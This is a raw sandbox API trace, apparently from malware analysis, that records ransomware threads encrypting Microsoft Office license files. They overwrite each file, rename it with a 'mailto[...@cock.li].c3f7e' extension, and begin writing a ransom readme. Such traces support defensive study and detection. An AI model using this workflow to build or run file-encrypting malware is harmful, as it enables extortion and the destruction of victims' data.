	[0087.248] wcscat (in: _Dest=0x4768c80, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.248] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x290bf7ec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x477a460
	[0087.248] NtSetInformationFile (FileHandle=0x18b0, IoStatusBlock=0x290bf7e4, FileInformation=0x477a460, Length=0xf6, FileInformationClass=0xa) returned 0x0
	[0087.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0087.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eaad8) returned 1
	[0087.249] NtQueryInformationFile (in: FileHandle=0x18b0, IoStatusBlock=0x290bf7f8, FileInformation=0x290bf7d0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x290bf7f8, FileInformation=0x290bf7d0) returned 0x0
	[0087.249] NtSetInformationFile (FileHandle=0x18b0, IoStatusBlock=0x290bf7f8, FileInformation=0x290bf7d0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768c80) returned 1
	[0087.250] FlushFileBuffers (hFile=0x18b0) returned 1
	[0093.118] CloseHandle (hObject=0x18b0) 

Thread:
	id = 1173
	os_tid = 0x1ec8

	[0086.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220
	[0086.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18b4
	[0086.032] GetFileSizeEx (in: hFile=0x18b4, lpFileSize=0x2913fe60 | out: lpFileSize=0x2913fe60*=3211) returned 1
	[0086.032] SetFilePointerEx (in: hFile=0x18b4, liDistanceToMove=0xc87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.032] ReadFile (in: hFile=0x18b4, lpBuffer=0x2913fde4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2913fde0, lpOverlapped=0x0 | out: lpBuffer=0x2913fde4*, lpNumberOfBytesRead=0x2913fde0*=0x4, lpOverlapped=0x0) returned 1
	[0086.033] SetFilePointerEx (in: hFile=0x18b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.033] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0086.033] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0086.033] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.033] NtQuerySystemTime (in: CurrentTime=0x2913fdc0 | out: CurrentTime=0x2913fdc0*=132251868127650623) returned 0x0
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x80f11384
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x27b504f
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0xc8907f42
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0xffb54dd1
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0xb926ee9c
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0xa4ce3553
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0xb95ccf2
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x7b7b7596
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x24c2c4b3
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x8414948a
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x1e56faa3
	[0086.033] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x1602cb97
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x264677bd
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x69a02b14
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x3aa311d1
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x2221f562
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0xa627b076
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x7b00594a
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x92a93d0c
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x40480365
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x113d03c4
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0xe40f499d
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0xc3ea01cd
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x9d1dd1e6
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x61c78e70
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x84c69add
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x34a738d4
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x5d73d188
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x37f4cba7
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0xbdd97c44
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x409b89e4
	[0086.034] RtlRandom (in: Seed=0x2913fdcc | out: Seed=0x2913fdcc) returned 0x5f873058
	[0086.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0086.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0086.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0086.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a2060
	[0086.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48ae868
	[0086.044] ReadFile (in: hFile=0x18b4, lpBuffer=0x48a2060, nNumberOfBytesToRead=0xc8b, lpNumberOfBytesRead=0x2913fdbc, lpOverlapped=0x0 | out: lpBuffer=0x48a2060*, lpNumberOfBytesRead=0x2913fdbc*=0xc8b, lpOverlapped=0x0) returned 1
	[0086.045] SetFilePointerEx (in: hFile=0x18b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.045] WriteFile (in: hFile=0x18b4, lpBuffer=0x48ae868*, nNumberOfBytesToWrite=0xc8b, lpNumberOfBytesWritten=0x2913fdb8, lpOverlapped=0x0 | out: lpBuffer=0x48ae868*, lpNumberOfBytesWritten=0x2913fdb8*=0xc8b, lpOverlapped=0x0) returned 1
	[0086.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0086.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ae868) returned 1
	[0086.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a2060) returned 1
	[0086.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x55) returned 0x2d778a0
	[0086.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x55) returned 0x2d77540
	[0086.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0086.047] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0086.047] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.047] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.047] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x139) returned 0x498eaf0
	[0086.047] SetFilePointerEx (in: hFile=0x18b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.047] WriteFile (in: hFile=0x18b4, lpBuffer=0x498eaf0*, nNumberOfBytesToWrite=0x139, lpNumberOfBytesWritten=0x2913fe20, lpOverlapped=0x0 | out: lpBuffer=0x498eaf0*, lpNumberOfBytesWritten=0x2913fe20*=0x139, lpOverlapped=0x0) returned 1
	[0086.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498eaf0) returned 1
	[0086.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77540) returned 1
	[0086.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0086.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0086.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0086.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0086.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0086.048] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4779a60
	[0086.048] wcscpy (in: _Dest=0x4779a60, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms"
	[0086.049] wcscat (in: _Dest=0x4779a60, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.049] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2913fdd8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d88ff0
	[0086.049] NtSetInformationFile (FileHandle=0x18b4, IoStatusBlock=0x2913fdd0, FileInformation=0x2d88ff0, Length=0x10a, FileInformationClass=0xa) returned 0x0
	[0086.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0086.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481c028) returned 1
	[0086.050] NtQueryInformationFile (in: FileHandle=0x18b4, IoStatusBlock=0x2913fde4, FileInformation=0x2913fdbc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2913fde4, FileInformation=0x2913fdbc) returned 0x0
	[0086.050] NtSetInformationFile (FileHandle=0x18b4, IoStatusBlock=0x2913fde4, FileInformation=0x2913fdbc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4779a60) returned 1
	[0086.051] FlushFileBuffers (hFile=0x18b4) returned 1
	[0093.088] CloseHandle (hObject=0x18b4) returned 1
	[0093.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476f1a8
	[0093.089] wcscpy (in: _Dest=0x476f1a8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.089] wcscat (in: _Dest=0x476f1a8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1174
	os_tid = 0x1ecc

	[0086.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220
	[0086.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18b8
	[0086.052] GetFileSizeEx (in: hFile=0x18b8, lpFileSize=0x291bfeec | out: lpFileSize=0x291bfeec*=3219) returned 1
	[0086.052] SetFilePointerEx (in: hFile=0x18b8, liDistanceToMove=0xc8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.052] ReadFile (in: hFile=0x18b8, lpBuffer=0x291bfe70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x291bfe6c, lpOverlapped=0x0 | out: lpBuffer=0x291bfe70*, lpNumberOfBytesRead=0x291bfe6c*=0x4, lpOverlapped=0x0) returned 1
	[0086.053] SetFilePointerEx (in: hFile=0x18b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77308
	[0086.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.053] NtQuerySystemTime (in: CurrentTime=0x291bfe4c | out: CurrentTime=0x291bfe4c*=132251868127963141) returned 0x0
	[0086.053] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x90ef26b8
	[0086.053] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x8ade440f
	[0086.053] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xf844e61a
	[0086.053] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xe76c927a
	[0086.053] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xd71f435d
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x717eec56
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x40fd8f76
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x960b9072
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x60f96239
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xb4adcfd2
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xdcd76389
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x4bf4b62
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xdaa195ba
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x4b9429b7
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xb5e101c6
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xc8b594b4
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xd92aaa15
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x5b883a41
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x722ceecf
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xf11105d
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x6b82a053
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x98ccf8b9
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x219c9be7
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x357dd1a4
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xa02c9beb
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x84cfd176
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x28bd9fa3
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xa9a0b2e5
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xfff75964
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0xe5b8647b
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x556e0051
	[0086.054] RtlRandom (in: Seed=0x291bfe58 | out: Seed=0x291bfe58) returned 0x2b7b3060
	[0086.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77380
	[0086.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0086.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77420
	[0086.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77420) returned 1
	[0086.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a2060
	[0086.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48ae868
	[0086.063] ReadFile (in: hFile=0x18b8, lpBuffer=0x48a2060, nNumberOfBytesToRead=0xc93, lpNumberOfBytesRead=0x291bfe48, lpOverlapped=0x0 | out: lpBuffer=0x48a2060*, lpNumberOfBytesRead=0x291bfe48*=0xc93, lpOverlapped=0x0) returned 1
	[0086.063] SetFilePointerEx (in: hFile=0x18b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.063] WriteFile (in: hFile=0x18b8, lpBuffer=0x48ae868*, nNumberOfBytesToWrite=0xc93, lpNumberOfBytesWritten=0x291bfe44, lpOverlapped=0x0 | out: lpBuffer=0x48ae868*, lpNumberOfBytesWritten=0x291bfe44*=0xc93, lpOverlapped=0x0) returned 1
	[0086.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0086.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77330
	[0086.065] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77330) returned 1
	[0086.065] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ae868) returned 1
	[0086.065] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a2060) returned 1
	[0086.065] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.065] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5b) returned 0x47342f8
	[0086.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.065] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5b) returned 0x4734088
	[0086.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0086.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0086.065] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0086.065] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.065] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13f) returned 0x498eaf0
	[0086.065] SetFilePointerEx (in: hFile=0x18b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.065] WriteFile (in: hFile=0x18b8, lpBuffer=0x498eaf0*, nNumberOfBytesToWrite=0x13f, lpNumberOfBytesWritten=0x291bfeac, lpOverlapped=0x0 | out: lpBuffer=0x498eaf0*, lpNumberOfBytesWritten=0x291bfeac*=0x13f, lpOverlapped=0x0) returned 1
	[0086.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498eaf0) returned 1
	[0086.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0086.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0086.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47342f8) returned 1
	[0086.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0086.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77308) returned 1
	[0086.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77380) returned 1
	[0086.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0086.067] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x481d2b8
	[0086.067] wcscpy (in: _Dest=0x481d2b8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms"
	[0086.067] wcscat (in: _Dest=0x481d2b8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
